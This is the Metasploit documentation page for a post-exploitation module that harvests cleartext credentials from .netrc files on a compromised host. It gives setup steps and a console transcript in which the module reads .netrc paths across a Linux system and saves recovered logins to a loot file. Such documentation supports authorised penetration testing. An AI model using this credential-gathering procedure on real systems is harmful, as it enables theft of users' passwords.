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GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/documentation/modules/post/multi/gather/netrc_creds.md
Views: 11789

Vulnerable Application

Post module to obtain credentials saved for FTP and other services in .netrc

This file is kept in user's home directories to configure various services, such as curl, but contains cleartext credentials.

Example netrc file

Example documentation can be found in the curl docs on netrc: https://everything.curl.dev/usingcurl/netrc

echo "machine example.com login daniel password qwerty" > ~/.netrc
echo "machine example2.com" >> ~/.netrc
echo "login daniel2" >> ~/.netrc
echo "password qwerty2" >> ~/.netrc

Verification Steps

  1. Start msfconsole

  2. Get a shell on a system

  3. Do: use post/multi/gather/netrc_creds

  4. Do: set session [session]

  5. Do: run

  6. If any .netrc files exist with credentials, they will be read and stored into a loot file.

Options

Scenarios

Ubuntu 22.04.01

msf6 auxiliary(scanner/ssh/ssh_login) > sessions -l

Active sessions
===============

  Id  Name  Type         Information   Connection
  --  ----  ----         -----------   ----------
  1         shell linux  SSH ubuntu @  2.2.2.2:39857 -> 1.1.1.1:22 (1.1.1.1)

msf6 auxiliary(scanner/ssh/ssh_login) > use post/multi/gather/netrc_creds
msf6 post(multi/gather/netrc_creds) > set session 1
session => 1
msf6 post(multi/gather/netrc_creds) > run

[*] Reading: /bin/.netrc
[*] Reading: /dev/.netrc
[*] Reading: /home/syslog/.netrc
[*] Reading: /home/ubuntu/.netrc
[*] Reading: /nonexistent/.netrc
[*] Reading: /root/.netrc
[*] Reading: /run/ircd/.netrc
[*] Reading: /run/sshd/.netrc
[*] Reading: /run/systemd/.netrc
[*] Reading: /run/uuidd/.netrc
[*] Reading: /usr/games/.netrc
[*] Reading: /usr/sbin/.netrc
[*] Reading: /var/backups/.netrc
[*] Reading: /var/cache/man/.netrc
[*] Reading: /var/cache/pollinate/.netrc
[*] Reading: /var/lib/gnats/.netrc
[*] Reading: /var/lib/landscape/.netrc
[*] Reading: /var/lib/tpm/.netrc
[*] Reading: /var/lib/usbmux/.netrc
[*] Reading: /var/list/.netrc
[*] Reading: /var/mail/.netrc
[*] Reading: /var/snap/lxd/common/lxd/.netrc
[*] Reading: /var/spool/lpd/.netrc
[*] Reading: /var/spool/news/.netrc
[*] Reading: /var/spool/uucp/.netrc
[*] Reading: /var/www/.netrc

.netrc credentials
==================

 Username  Password  Server
 --------  --------  ------
 daniel    qwerty    example.com
 daniel2   qwerty2   example2.com

[*] Credentials stored in: /root/.msf4/loot/20221008103946_default_1.1.1.1_netrc.creds_551386.txt
[*] Post module execution completed